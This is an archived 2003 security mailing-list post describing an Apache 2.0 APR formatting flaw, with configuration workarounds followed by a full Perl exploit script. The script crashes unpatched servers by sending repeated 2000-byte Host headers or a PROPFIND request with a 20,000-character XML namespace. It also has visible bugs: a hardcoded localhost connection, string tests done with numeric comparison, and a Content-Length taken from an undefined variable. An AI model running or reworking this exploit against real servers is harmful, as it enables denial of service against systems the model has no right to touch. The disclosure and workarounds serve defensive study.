Apache 2.x APR Exploit Code

From: mattmurphyat_private
Date: Sat Jun 07 2003 - 19:31:34 PDT

  • Next message: SGI Security Coordinator: "[Full-Disclosure] WebSetup / WebMin Security Vulnerability on IRIX"

    I had planned to write this tool in C for the sake of using native
    functionality like crypt(3) to support digest authentication.  I'd also
    planned to support intermediate proxies, but a determined user can
    implement this via various tunneling applications with minimal
    complications, and I don't need to make this too script-kiddie friendly.
    
    The details of each exploit vector are as follows:
    
    * mod_proxy
    
    mod_proxy outputs a simple message when a connection has failed that
    includes the host name of the intended destination.  It accomplishes this
    via the vulnerable apr_psprintf() function.  This leads to a crash if the
    Host header is extremely long.
    
    * mod_dav
    
    Certain methods of accessing a DAV repository may enable attacker-supplied
    input to be passed as a parameter to apr_psprintf() as part of an "Invalid
    namespace" error.  This results in the crash of the child handling the
    request.
    
    * Others
    
    NOTE: mod_dav is also impacted by this exploit, but the exploit vector
    above specifically targets it.
    
    Many modules format the hostname of the server into buffers via the
    apr_psprintf() function.  The hostname is under the attacker's control if
    "UseCanonicalName Off" is in place.  Via a long HTTP/1.1 "Host" header, it
    becomes possible to cause these modules to crash.
    
    *** NOTE: Some people have assumed that the Apache LimitRequestFieldSize
    directive would protect them from exploitation, so long as they did not
    have mod_dav installed.  This is not correct, as the Apache HTTP Server may
    take:
    
    GET / HTTP/1.1
    Host: a
    Host: b
    
    And internally convert it to:
    
    GET / HTTP/1.1
    Host: a, b
    
    The same is true for longer headers.  So, ten such headers of 2000
    characters each bypasses the default LimitRequestFieldSize directive, but
    still exploits the vulnerability.
    
    Workarounds
    
    * LimitXMLRequestBody 2000 in your configuration file for any servers with
    DAV enabled.  These can be identified by the string "DAV/2" in their server
    signatures in most cases.
    
    * The following pair of lines:
    
    LimitRequestFields 15
    LimitRequestFieldSize 800
    
    will temporarily block the mod_proxy exploit.
    
    * Such a rash workaround is not required for the other modules, where a
    simple:
    
    UseCanonicalName On
    
    does the trick.  It was recently pointed out to me that there was an error
    in my previous post regarding this.  It incorrectly stated that
    UseCanonicalName *Off* fixed the flaw.  In reality, this *opens* one of the
    exploit vectors.  However, I believe it was clearly identified in the other
    parts of my post, and this has now been corrected.  Without making you wait
    any longer...
    
    ---
    #!/usr/bin/perl
    #
    # Apache 2.0 APR Exploit
    # Written By Matthew Murphy
    # Updates: http://www.techie.hopto.org/exploits/Apache-Knacker.pl
    #
    # Ever since I unveiled the additional details of the APR flaw in
    # Apache 2.0.37-2.0.45, I've been under pressure to "put my money
    # where my mouth is", and produce exploits for the flaw.  My answer
    # to these people was "just give me a few days until I figure them
    # out, and you'll be the first to know".  Well, despite a slight 
    # delay, here you have it.
    #
    # This Perl script will successfully exploit any un-patched Apache 2.0
    # server that does not have the workarounds I highlighted applied.
    #
    # Okay, now it is time for my classic legal garb...
    # Given that this is rushed, and probably buggy in some capacity, this
    # is especially important here:
    #
    # No warranties are made about the performance of this tool, either 
    # express or implied.  Your use of this tool is an implicit agreement
    # that you will not utilize it against a network if any of the following
    # occur:
    #
    # You do not administer the network
    # You are not the owner of the network, and do not have written permission
    #	from the owner for testing of this potential vulnerability (HP 
    # 	speak there! :-D).
    # Networks other than your own may be impacted by use of this tool in some
    # 	way.
    #
    # You also agree NOT to hold the author of the tool responsible for any
    # damage resulting from its use, be it accidental or intentional, and also
    # agree that the consequences of utilizing this tool (and any damage such
    # use creates) are solely your responsibility.
    #
    # Contact:
    # E-mail: mattmurphyat_private
    # Web: http://www.techie.hopto.org/
    # AIM: NetAddict4109
    #	or for the Windows folk among us:
    #	aim:goim?screenname=NetAddict4109
    #
    # Enjoy!
    
    # Base64 Encoder
    #
    # If you want authentication with the server via HTTP's lame Basic
    # auth, put the proper string to encode BASE64 content, and use
    # '%s' to represent the credentials being encoded.  For instance:
    #
    # base64 %s
    #
    # would result in:
    #
    # base64 userid:password
    #
    # If your decoder requires you to use STDIN to pass the password
    # (no pun intended), set $BASE64_USE_STDIN to nonzero and do not
    # use '%s' on the command-line.
    $BASE64_CMD_STRING = "use_base64_encoder_here %s";
    
    # Base64 encoder piping
    #
    # If your encoder requires the password to be written to STDIN,
    # set this to a nonzero value.  NOTE: This requires support for 
    # bi-directional pipes on your OS version.
    $BASE64_USE_STDIN = 0;
    
    # Base64 encoder input handling
    #
    # If your encoder requires a newline after your credentials, 
    # set this to your newline character.
    $BASE64_WRITE_NL = "";
    
    use IO::Socket;
    print STDOUT "Apache 2.0 APR Exploit\r\n";
    print STDOUT "By Matthew Murphy\r\n\r\n";
    print STDOUT "Enter the hostname/IP address of the server: ";
    $line = <STDIN>;
    $host = mychomp($line);
    print STDOUT "Enter the port of the server \[80\]: ";
    $line = <STDIN>;
    $port = mychomp($line);
    print STDOUT "Use authentication credentials for the session \[Y/N\]? ";
    $line = <STDIN>;
    $char = mychomp($line);
    if ($char == "Y" || $char == "y") {
    	print STDOUT "What username shall we use: ";
    	$line = <STDIN>;
    	$user = mychomp($line);
    	print STDOUT "What password shall we use: ";
    	$line = <STDIN>;
    	$pass = mychomp($line);
    	$auth = "$user:$pass";
    	if ($BASE64_USE_STDIN) {
    		# l33t Perl piping trix; NOTE: This is definitely
    		# Alpha code! :-)
    		pipe(STDOUTREAD, STDOUTWRITE);
    		pipe(STDINREAD, STDINWRITE);
    		open(OLDSTDIN, "&STDIN");
    		open(OLDSTDOUT, ">&STDOUT");
    		open(STDIN, "&STDINREAD");
    		open(STDOUT, ">&STDOUTWRITE");
    		close(STDINREAD);
    		close(STDOUTWRITE);
    		system($BASE64_CMD_STRING);
    		open(STDIN, "&OLDSTDIN");
    		open(STDOUT, "&>OLDSTDOUT");
    		close(OLDSTDIN);
    		close(OLDSTDOUT);
    		print STDINWRITE $auth;
    		close(STDINWRITE);
    		read(STDOUTREAD, $base64, 4096); # Edit for insane passwords
    		close(STDOUTREAD);
    	} else {
    		open(READOUTPUT, sprintf($BASE64_CMD_STRING, $auth)."|");
    		read(READOUTPUT, $base64, 4096); # See above
    		close(READOUTPUT);
    	}
    	# Another hack for dealing with base64 encoders that output 
    	# multi-lined encoded text.  HTTP specifically calls for a 
    	# single line.  Note that this pattern also messes with spaces, 
    	# tabs, etc., but base64 doesn't use those either, so this 
    	# shouldn't matter.
    	$base64 = join("", split(/ /, $base64));
    } else {
    	$base64 = undef;
    }
    $f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"127.0.0.1");
    print STDOUT "Exploiting a proxy server \[Y/N\]? ";
    $line = <STDIN>;
    $char = mychomp($line);
    if ($char == "Y" || $char == "y") {
    	print $f "GET / HTTP/1.1\x0d\x0a";
    
    	# Apache 2.0 tries to limit header inputs, but uses a hash table 
    	# that ultimately concatenates multiple headers of the same name 
    	# together with ", " between them, so:
    	#
    	# Host: a
    	# Host: b
    	#
    	# Bypasses Apache's buffer size checks, but ends up as:
    	#
    	# Host: a,b
    	#
    	# When processed.  Confirm this with a TRACE against your server:
    	#
    	# TRACE / HTTP/1.1
    	# Host: a
    	# Host: b
    	#
    	# The "message/http" body you receive will contain:
    	#
    	# TRACE / HTTP/1.1
    	# Host: a,b
    	#
    	# So, for those of you who are confused by this code fragment, 
    	# this is what it ultimately achieves!
    	for ($i = 0; $i < 10; $i++) {
    		print $f "Host: ".("A"x2000)."\r\n";
    	}
    	if (defined($base64)) {
    		print $f "Proxy-Authorization: Basic ".$base64."\r\n";
    	}
    	print $f "\r\n";
    } else {
    	print STDOUT "What resource should be probed: ";
    	$line = <STDIN>;
    	$res = mychomp($line);
    	print STDOUT "Exploit a DAV repository for this attack? \[Y/N\] ";
    	$line = <STDIN>;
    	$char = mychomp($line);
    	if ($char == "Y" || $char == "y") {
    		# WARNING:
    		# Another section of alpha code here; mod_dav tends to barf
    		# if given the smallest inconsistency, and this is not 
    		# exactly well-researched.  If this doesn't work for you, 
    		# target your DAV repository as a typical resource: if 
    		# UseCanonicalName On hasn't been set explicitly, mod_dav 
    		# will choke on that as well.
    		#
    		# STunnel should not have issues with this, as you can't 
    		# use a "Host" header in an SSL connection anyway, so 
    		# that is no problem.
    		#
    		# Note that if the body is too long, IIS servers will also 
    		# die (assuming of course, that the latest IIS cumulative 
    		# patch has not been applied), as they have had problems 
    		# dealing with WebDAV in the very recent past.
    
    		# XML Body of Request
    		#
    		# If everything works, mod_dav will attempt to format a 
    		# message with apr_psprintf() to indicate that our 
    		# namespace is invalid, leading to a crash.
    		$xmlbody = "<?xml version=\"1.0\"?>\r\n";
    		$xmlbody.= "<D:propfind xmlns:D=\"".("A"x20000)."\:\">\r\n";
    		$xmlbody.= "\x20\x20\x20\x20<D:allprop/>\r\n";
    		$xmlbody.= "</D:propfind>";
    
    		# HTTP headers
    		print $f "PROPFIND $res HTTP/1.1\r\n";
    		print $f "Host: $host:$port\r\n";
    		print $f "Depth: 1\r\n";
    		print $f "Content-Type: text/xml; charset=\"utf-8\"\r\n";
    		print $f "Content-Length: ".length($body)."\r\n\r\n";
    		if (defined($base64)) {
    			print $f "Authorization: Basic ".$base64."\r\n";
    		}
    		print $f "$xmlbody\r\n\r\n";
    	} else {
    		# This does *almost* the exact same thing as the mod_proxy 
    		# code, and could be considered wasteful, but a few extra 
    		# CPU cycles never killed anybody. :-(
    		print $f "GET $res HTTP/1.1\r\n";
    		for ($i = 0; $i < 10; $i++) {
    			print $f "Host: ".("A"x2000)."\r\n";
    		}
    		if (defined($base64)) {
    			print $f "Authorization: Basic ".$base64."\r\n";
    		}
    		print $f "\r\n";
    	}
    }
    while (defined($ln = <$f>)) {
    	print STDOUT $ln;
    }
    undef $f;
    exit;
    
    # FIXED: The perl chomp() function is broken on my distro,
    # so I hacked a fix to work around it.  This note applies
    # to ActivePerl 5.8.x -- I haven't tried others.  This is
    # another hackish fix, which seems to be the entire style
    # of this code.  I'll write better toys when I have time to
    # write better toys.
    sub mychomp {
    	my $data;
    	my $arg = shift;
    	my $CRLF;
    	if ($^O == "MSWin32") {
    		$CRLF = 1;
    	} else {
    		$CRLF = 0;
    	}
    	$data = substr($arg, 0, length($arg) - $CRLF);
    	return $data;
    }
    
    --------------------------------------------------------------------
    mail2web - Check your email from the web at
    http://mail2web.com/ .
    



    This archive was generated by hypermail 2b30 : Mon Jun 09 2003 - 08:51:27 PDT